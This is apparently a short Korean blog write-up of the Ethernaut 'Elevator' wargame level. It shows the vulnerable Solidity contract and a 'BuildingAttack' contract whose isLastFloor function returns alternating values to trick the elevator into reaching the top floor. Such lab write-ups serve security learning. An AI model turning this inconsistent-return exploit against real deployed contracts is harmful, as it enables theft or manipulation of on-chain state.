블록체인/Ethernaut
[Ethernaut] 11. Elevator
dev_dean
2022. 6. 6. 09:18
소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
목표
빌딩의 최상층에 도달
방법
/ SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Elevator.sol";
contract BuildingAttack is Building {
Elevator elevator;
bool toggleBtn;
constructor(address _elevator) public {
elevator = Elevator(_elevator);
toggleBtn = true;
}
function isLastFloor(uint _floor) public override returns (bool) {
toggleBtn = !toggleBtn;
return toggleBtn;
}
function attack() public {
elevator.goTo(3);
}
}